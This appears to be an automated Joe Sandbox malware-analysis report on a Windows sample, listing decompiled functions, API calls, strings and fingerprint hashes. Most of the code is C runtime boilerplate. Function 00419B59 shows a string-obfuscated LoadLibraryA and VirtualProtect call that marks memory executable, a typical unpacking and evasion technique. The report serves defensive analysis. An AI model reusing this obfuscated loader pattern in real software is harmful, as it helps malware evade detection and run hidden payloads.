0x00426dd7
0x00426de9
0x00426e7e
0x00426dc2
0x00426dcb
0x00426dd4
0x00000000
0x00426e21
0x00426e37
0x00426e42
0x00426e4c
0x00426e5b
0x00426e60
0x00426e65
0x00426e7b
0x00000000
0x00426e67
0x00426e67
0x00426e67
0x00426e65
0x00000000
0x00426de9
0x00000000
0x00426dd7
0x00426bec
0x00426bec
0x00426bec
0x00426fda
0x00426fdd
0x00426feb

APIs

GetStartupInfoA.KERNEL32(?), ref: 00426B90
GetFileType.KERNEL32(?), ref: 00426E17

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c, xrefs: 00426BD0, 00426CFC

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: FileInfoStartupType
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c
API String ID: 3016745765-4097262939
Opcode ID: 41eca7049177ab2dd8baee9799c547a1eb9b9cec87932e6ae857aea85c934311
Instruction ID: 79dfb607205a2f69557152b8af1a2960e491b57ede2302efb3c082b2c3682e6b
Opcode Fuzzy Hash: 41eca7049177ab2dd8baee9799c547a1eb9b9cec87932e6ae857aea85c934311
Instruction Fuzzy Hash: 1DE13A74E04218CFDB24CFA8D890B9DFBB1BB59318F25825ED8656B392C7349846CF45

Uniqueness

Uniqueness Score: -1.00%

Function 005F0420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 005F0533

Strings

mfoaskdfnoa, xrefs: 005F0520, 005F0523
saodkfnosa9uin, xrefs: 005F04DA
0, xrefs: 005F0492
d, xrefs: 005F0584

Memory Dump Source

Source File: 00000000.00000002.238236248.00000000005F0000.00000040.00000001.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_OG9rNsihJ7.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: c02f13e63523b6681d5d6c3ee6f36dbc1c6a77c20b6d175d70a85d819d865c59
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: B7510770D0838CDAEB11CBD8C849BADBFB66F11708F184058D5446F2C6C7FA5659CB66

Uniqueness

Uniqueness Score: -1.00%

Function 0041BD4E, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E0041BD4E(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t25;
				intOrPtr _t28;
				intOrPtr _t29;
				void* _t34;
				void* _t35;
				void* _t36;
				intOrPtr _t38;
				void* _t46;
				void* _t47;
				void* _t48;
				void* _t50;

				_t47 = __esi;
				_t46 = __edi;
				_t36 = __ecx;
				_t35 = __ebx;
				asm("sbb eax, eax");
				_t25 = 0xffffffe0 /  *(_t48 + 8) + 1;
				 *((intOrPtr*)(_t48 - 8)) = _t25;
				if(_t25 == 0) {
					_push(L"(_HEAP_MAXREQ / nNum) >= nSize");
					_push(0);
					_push(0x248);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
					_push(2);
					_t34 = L0041E350();
					_t50 = _t50 + 0x14;
					if(_t34 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t48 - 8)) != 0) {
					 *(_t48 + 0xc) =  *(_t48 + 0xc) *  *(_t48 + 8);
					_t38 =  *0x54adb0; // 0x0
					_t28 = L0041B920(_t38,  *(_t48 + 0xc), _t38,  *((intOrPtr*)(_t48 + 0x10)),  *((intOrPtr*)(_t48 + 0x14)),  *((intOrPtr*)(_t48 + 0x18)),  *((intOrPtr*)(_t48 + 0x1c))); // executed
					 *((intOrPtr*)(_t48 - 4)) = _t28;
					if( *((intOrPtr*)(_t48 - 4)) != 0) {
						E0041B4E0(_t46,  *((intOrPtr*)(_t48 - 4)), 0,  *(_t48 + 0xc));
					}
					_t29 =  *((intOrPtr*)(_t48 - 4));
				} else {
					 *((intOrPtr*)(L00422E40(_t36))) = 0xc;
					E00422BD0(_t35, _t36, _t46, _t47, L"(_HEAP_MAXREQ / nNum) >= nSize", L"_calloc_dbg_impl", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x248, 0);
					_t29 = 0;
				}
				return _t29;
			}

0x0041bd4e
0x0041bd4e
0x0041bd4e
0x0041bd4e
0x0041bd5b
0x0041bd5d
0x0041bd60
0x0041bd63
0x0041bd65
0x0041bd6a
0x0041bd6c
0x0041bd71
0x0041bd76
0x0041bd78
0x0041bd7d
0x0041bd83
0x0041bd85
0x0041bd85
0x0041bd83
0x0041bd8a
0x0041bdc0
0x0041bdd3
0x0041bdde
0x0041bde6
0x0041bded
0x0041bdf9
0x0041bdfe
0x0041be01
0x0041bd8c
0x0041bd91
0x0041bdad
0x0041bdb5
0x0041bdb5
0x0041be07

APIs

__invalid_parameter.LIBCMTD ref: 0041BDAD
_memset.LIBCMT ref: 0041BDF9

Strings

_calloc_dbg_impl, xrefs: 0041BDA3
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041BD71, 0041BD9E
(_HEAP_MAXREQ / nNum) >= nSize, xrefs: 0041BD65, 0041BDA8

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: (_HEAP_MAXREQ / nNum) >= nSize$_calloc_dbg_impl$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 3961059608-1805389939
Opcode ID: 01c19a8fb9e69b67a2c6aa37af74e2a43ab5b9bdffcb180cddb2f0b8b2b466fd
Instruction ID: 90fa4915b6e782fc33582ab0192682a80c8ff64b2f6ae5e5c3c29b246b34b777
Opcode Fuzzy Hash: 01c19a8fb9e69b67a2c6aa37af74e2a43ab5b9bdffcb180cddb2f0b8b2b466fd
Instruction Fuzzy Hash: 6A11B6B1B40208BBDB04DF94DD46FDE3365EB58714F10855AF908AB2C1D7B8EA408B99

Uniqueness

Uniqueness Score: -1.00%

Function 00419B59, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E00419B59(intOrPtr* __edx) {
				struct HINSTANCE__* _t1;
				int _t3;
				void* _t5;

				_push("VirtualProtect");
				"VirtualProtect" = 0x6b;
				"irtualProtect" = 0x65;
				"rtualProtect" = 0x72;
				"rotect" = 0x2e;
				 *0x441771 = 0x64;
				 *0x441772 = 0x6c;
				 *0x441774 = 0;
				M0044176B = 0x6e;
				M0044176C = 0x65;
				M0044176D = 0x6c;
				M0044176E = 0x33;
				M0044176F = 0x32;
				_pop(ss);
				 *__edx =  *__edx + __edx;
				 *0x441773 = 0x65; // executed
				_t1 = LoadLibraryA(??); // executed
				 *0x5447ec = _t1;
				 *0x441776 = 0;
				M0044176F = 0x50;
				M0044176D = 0x61;
				 *0x441771 = 0x6f;
				 *0x441775 = 0x74;
				M0044176C = 0x75;
				M0044176E = 0x6c;
				 *0x441774 = 0x63;
				M0044176B = 0x74;
				 *0x441772 = 0x74;
				"rtualProtect" = 0x72;
				"VirtualProtect" = 0x56;
				"rotect" = 0x72;
				"irtualProtect" = 0x69; // executed
				_t3 = VirtualProtect( *0x443950,  *0x54abf4, 0x40, _t5 + 1); // executed
				return _t3;
			}

0x00419b5a
0x00419b5f
0x00419b66
0x00419b6d
0x00419b74
0x00419b7b
0x00419b82
0x00419b89
0x00419b90
0x00419b97
0x00419b9e
0x00419ba5
0x00419bac
0x00419baf
0x00419bb1
0x00419bb3
0x00419bba
0x00419bc0
0x00419bd1
0x00419bde
0x00419be5
0x00419bec
0x00419bf3
0x00419bfa
0x00419c01
0x00419c08
0x00419c0f
0x00419c16
0x00419c1d
0x00419c24
0x00419c2b
0x00419c32
0x00419c39
0x00419c40

APIs

LoadLibraryA.KERNELBASE(VirtualProtect), ref: 00419BBA
VirtualProtect.KERNELBASE(00000040,00000000), ref: 00419C39

Strings

VirtualProtect, xrefs: 00419B5A

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID: VirtualProtect
API String ID: 3279857687-268857135
Opcode ID: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction ID: a44d3fd7188d438d037021823585f88e8d970895fa3d624442d68c6aa49d3ab3
Opcode Fuzzy Hash: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction Fuzzy Hash: 69211B2C54C7C0D9E302E738EE087453E969323769F1841A991D55A2B2C7FF21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 005F05B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 005F05EC

Strings

apfHQ, xrefs: 005F05E2, 005F05E5
o, xrefs: 005F0600

Memory Dump Source

Source File: 00000000.00000002.238236248.00000000005F0000.00000040.00000001.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_OG9rNsihJ7.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 0cc338e96467255539e42d1e1482dd23e2dc04e00304210498004786b1791509
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 07012170C0424CEEDF10DB98C5183AEBFB5AF41308F1880D9D5096B282D7BA9B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0041B93F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041B93F(intOrPtr __eax, void* __ecx) {
				intOrPtr _t20;
				void* _t27;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t27 - 4)) = __eax;
					if( *((intOrPtr*)(_t27 - 4)) != 0) {
						break;
					}
					L3:
					if( *((intOrPtr*)(_t27 + 0xc)) != 0) {
						L5:
						if(E00429480(__ecx,  *((intOrPtr*)(_t27 + 8))) != 0) {
							L7:
							L1:
							L0041B990( *((intOrPtr*)(_t27 + 8)),  *((intOrPtr*)(_t27 + 0x10)),  *((intOrPtr*)(_t27 + 0x14)),  *((intOrPtr*)(_t27 + 0x18)),  *((intOrPtr*)(_t27 + 0x1c)));
							continue;
						} else {
							L6:
							 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x1c)))) = 0xc;
							_t20 = 0;
						}
					} else {
						L4:
						 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x1c)))) = 0xc;
						_t20 =  *((intOrPtr*)(_t27 - 4));
					}
					L8:
					return _t20;
					L9:
				}
				L2:
				_t20 =  *((intOrPtr*)(_t27 - 4));
				goto L8;
			}

0x0041b93f
0x0041b93f
0x0041b93f
0x0041b942
0x0041b949
0x00000000
0x00000000
0x0041b950
0x0041b954
0x0041b964
0x0041b972
0x0041b981
0x0041b926
0x0041b93a
0x00000000
0x0041b974
0x0041b974
0x0041b977
0x0041b97d
0x0041b97d
0x0041b956
0x0041b956
0x0041b959
0x0041b95f
0x0041b95f
0x0041b983
0x0041b986
0x00000000
0x0041b986
0x0041b94b
0x0041b94b
0x00000000

Strings

QQ, xrefs: 0041B939

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: 4f86aae9e9b1938973430e3e123fcb1dfdd476a8825ead6f240fa8f97f3e8138
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: C001F6F5A14109EBDB04DF94D880BEAB3B4EB48304F10815AFE498B250D339EA92DBD5

Uniqueness

Uniqueness Score: -1.00%

Function 00419BAF, Relevance: 3.0, APIs: 2, Instructions: 28
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E00419BAF(intOrPtr* __edx) {
				struct HINSTANCE__* _t1;
				int _t3;
				void* _t6;

				_pop(ss);
				 *__edx =  *__edx + __edx;
				 *0x441773 = 0x65; // executed
				_t1 = LoadLibraryA(??); // executed
				 *0x5447ec = _t1;
				 *0x441776 = 0;
				M0044176F = 0x50;
				M0044176D = 0x61;
				 *0x441771 = 0x6f;
				 *0x441775 = 0x74;
				M0044176C = 0x75;
				M0044176E = 0x6c;
				 *0x441774 = 0x63;
				M0044176B = 0x74;
				 *0x441772 = 0x74;
				"rtualProtect" = 0x72;
				"VirtualProtect" = 0x56;
				"rotect" = 0x72;
				"irtualProtect" = 0x69; // executed
				_t3 = VirtualProtect( *0x443950,  *0x54abf4, 0x40, _t6 + 1); // executed
				return _t3;
			}

0x00419baf
0x00419bb1
0x00419bb3
0x00419bba
0x00419bc0
0x00419bd1
0x00419bde
0x00419be5
0x00419bec
0x00419bf3
0x00419bfa
0x00419c01
0x00419c08
0x00419c0f
0x00419c16
0x00419c1d
0x00419c24
0x00419c2b
0x00419c32
0x00419c39
0x00419c40

APIs

LoadLibraryA.KERNELBASE(VirtualProtect), ref: 00419BBA
VirtualProtect.KERNELBASE(00000040,00000000), ref: 00419C39

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: bd4329cd2658ec523e57c56e8e59f25343379e45eb2a56a684a67b9df5abf011
Instruction ID: 46ff8a631e59bb478556cfaaa0542c845c6034905532f1148b192b7c6e3db230
Opcode Fuzzy Hash: bd4329cd2658ec523e57c56e8e59f25343379e45eb2a56a684a67b9df5abf011
Instruction Fuzzy Hash: 23018C2C44C3C0DDE302E778AE087413F96D727759F0841A8D1A55A2B2C7BA21A8CB2E

Uniqueness

Uniqueness Score: -1.00%

Function 00424670, Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00424670() {
				void* _t1;

				_t1 = E004245A0(0); // executed
				return _t1;
			}

0x00424677
0x00424680

APIs

__encode_pointer.LIBCMTD ref: 00424677

Part of subcall function 004245A0: TlsGetValue.KERNEL32(00000004), ref: 004245B5
Part of subcall function 004245A0: TlsGetValue.KERNEL32(00000004,00000005), ref: 004245D6
Part of subcall function 004245A0: __crt_wait_module_handle.LIBCMTD ref: 004245EC
Part of subcall function 004245A0: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00424606
Part of subcall function 004245A0: RtlEncodePointer.NTDLL(?), ref: 00424627

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: Value$AddressEncodePointerProc__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 568403282-0
Opcode ID: 4910bf5801155143916dbb33b30045cd9bbeedd00758362c9e9c67699a610058
Instruction ID: 2a3f559346849d7235aee5ad99e23884eb9fb37722e1aac058fb41fc0a0c7a0a
Opcode Fuzzy Hash: 4910bf5801155143916dbb33b30045cd9bbeedd00758362c9e9c67699a610058
Instruction Fuzzy Hash: 4FA0126294421833E00024833803B02390C87C4A38E880021F60C051823842A4504097

Uniqueness

Uniqueness Score: -1.00%

Function 0041B5E0, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;

				E00428680(); // executed
				_t2 = L0041B600(_t3, _t4, _t5); // executed
				return _t2;
			}

0x0041b5e5
0x0041b5ea
0x00000000

APIs

___security_init_cookie.LIBCMTD ref: 0041B5E5

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 82cb0ec5c1a98f673954076b00431c8ff9bcc0c7e92cffaa9b49de3c4d628194
Instruction ID: 35d9dbe1b60b4058195c4287ed8e33966d2c8f7ff59c762a0206c2304aa1a6ea
Opcode Fuzzy Hash: 82cb0ec5c1a98f673954076b00431c8ff9bcc0c7e92cffaa9b49de3c4d628194
Instruction Fuzzy Hash: BDA00231205A5C1601503BE7140794E754D88D47187DA051EB51C021031D6CA84544EF

Uniqueness

Uniqueness Score: -1.00%

Function 00419C41, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000), ref: 00419C49

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction ID: 019fb2e64a9b276ebf310d41e95adf70c6358cc02637eb6adb2296fd202f371f
Opcode Fuzzy Hash: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction Fuzzy Hash: 12B012B94413419BC7404F60AE047403F61F306703F000020F200D0674C7700080AB05

Uniqueness

Uniqueness Score: -1.00%

Function 00419C42, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00419C42(void* __eax) {
				void* _t3;

				_t3 = LocalAlloc(0, ??); // executed
				 *0x443950 = _t3;
				return _t3;
			}

0x00419c49
0x00419c4f
0x00419c54

APIs

LocalAlloc.KERNELBASE(00000000), ref: 00419C49

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 3571bb372733993f9b4c96057daa876bbc03d7ea11c7f877e755b551834daa39
Instruction ID: 21ac284789e0f913026888750c1f1c21f765b9dfa4357f74692eb68b3a7f463c
Opcode Fuzzy Hash: 3571bb372733993f9b4c96057daa876bbc03d7ea11c7f877e755b551834daa39
Instruction Fuzzy Hash: 5BB011B8082382AAC3808F20AA08B803EA0F302B0BF000030B200E0AA8CBB000808A0A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042CCB2, Relevance: 107.3, APIs: 39, Strings: 22, Instructions: 501
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042CCB2() {
				struct _OVERLAPPED* _t166;
				WCHAR* _t170;
				signed int _t181;
				long _t184;
				intOrPtr _t190;
				signed int _t195;
				void* _t200;
				void* _t203;
				void* _t207;
				struct _OVERLAPPED* _t215;
				struct _OVERLAPPED** _t216;
				intOrPtr _t233;
				void* _t243;
				void* _t244;
				void* _t245;
				signed int _t267;
				signed int _t269;
				void* _t303;
				void* _t304;
				void* _t305;
				void* _t306;
				signed int _t307;
				void* _t309;
				void* _t311;
				void* _t313;
				void* _t315;

				if(InterlockedIncrement(0x441060) <= 0) {
					if( *((intOrPtr*)(_t307 + 0x18)) != 0) {
						 *(_t307 - 0x7038) =  *(L00422E40(_t245));
						 *(L00422E40(_t245)) = 0;
						_t282 =  *((intOrPtr*)(_t307 + 0x1c));
						_t233 = E00438350(_t307 - 0x7030, 0x1000, 0xfeb,  *((intOrPtr*)(_t307 + 0x18)),  *((intOrPtr*)(_t307 + 0x1c)));
						_t309 = _t309 + 0x14;
						 *((intOrPtr*)(_t307 - 0x7034)) = _t233;
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041DA20( *(L00422E40(_t282)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x206, 0);
							_t309 = _t309 + 0x20;
						}
						 *(L00422E40(_t282)) =  *(_t307 - 0x7038);
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041DF90(E0042DCC0(_t243, _t282, _t303, _t305, _t307 - 0x7030, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t236, L"wcscpy_s(szUserMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x209, 0);
							_t309 = _t309 + 0x24;
						}
					}
					if( *(_t307 + 8) == 2) {
						if( *((intOrPtr*)(_t307 + 0x18)) == 0) {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed!";
						} else {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed: ";
						}
						E0041DF90(E0042DCC0(_t243,  *((intOrPtr*)(_t307 - 0x8070)), _t303, _t305, _t307 - 0x5030, 0x1000,  *((intOrPtr*)(_t307 - 0x8070))), _t227, L"wcscpy_s(szLineMessage, 4096, szFormat ? L\"Assertion failed: \" : L\"Assertion failed!\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x20e, 0);
						_t309 = _t309 + 0x24;
					}
					_t246 = _t307 - 0x5030;
					E0041DF90(E00437980(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, _t307 - 0x7030), _t159, L"wcscat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x210, 0);
					_t311 = _t309 + 0x24;
					if( *(_t307 + 8) == 2) {
						if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
							_t246 = _t307 - 0x5030;
							E0041DF90(E00437980(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, "\r"), _t225, L"wcscat_s(szLineMessage, 4096, L\"\\r\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x215, 0);
							_t311 = _t311 + 0x24;
						}
						E0041DF90(E00437980(_t243, _t246, _t303, _t305, _t307 - 0x5030, 0x1000, "\n"), _t223, L"wcscat_s(szLineMessage, 4096, L\"\\n\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x217, 0);
						_t311 = _t311 + 0x24;
					}
					if( *(_t307 + 0xc) == 0) {
						E0041DF90(E0042DCC0(_t243, _t307 - 0x3028, _t303, _t305, _t307 - 0x3028, 0x1000, _t307 - 0x5030), _t162, L"wcscpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x225, 0);
						_t313 = _t311 + 0x24;
					} else {
						 *(_t307 - 0x703c) = 0;
						 *(_t307 - 0x7040) =  *(L00422E40(_t246));
						 *(L00422E40(_t246)) = 0;
						_push(_t307 - 0x5030);
						_push( *(_t307 + 0x10));
						_t279 = _t307 - 0x3028;
						_t215 = E0042DAD0(_t307 - 0x3028, _t307 - 0x3028, 0x1000, 0x1000, L"%s(%d) : %s",  *(_t307 + 0xc));
						_t313 = _t311 + 0x1c;
						 *(_t307 - 0x703c) = _t215;
						if( *(_t307 - 0x703c) < 0) {
							E0041DA20( *((intOrPtr*)(L00422E40(_t279))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x21f, 0);
							_t313 = _t313 + 0x20;
						}
						_t216 = L00422E40(_t279);
						_t280 =  *(_t307 - 0x7040);
						 *_t216 =  *(_t307 - 0x7040);
						if( *(_t307 - 0x703c) < 0) {
							E0041DF90(E0042DCC0(_t243, _t280, _t303, _t305, _t307 - 0x3028, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t217, L"wcscpy_s(szOutMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x221, 0);
							_t313 = _t313 + 0x24;
						}
					}
					 *(_t307 - 0x7044) = 0;
					_t285 = _t307 - 0x3028;
					_t166 = E0041DA20(L00437950(0, _t307 - 0x1020, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22b, 0);
					_t315 = _t313 + 0x34;
					 *(_t307 - 0x7044) = _t166;
					if( *(_t307 - 0x7044) != 0) {
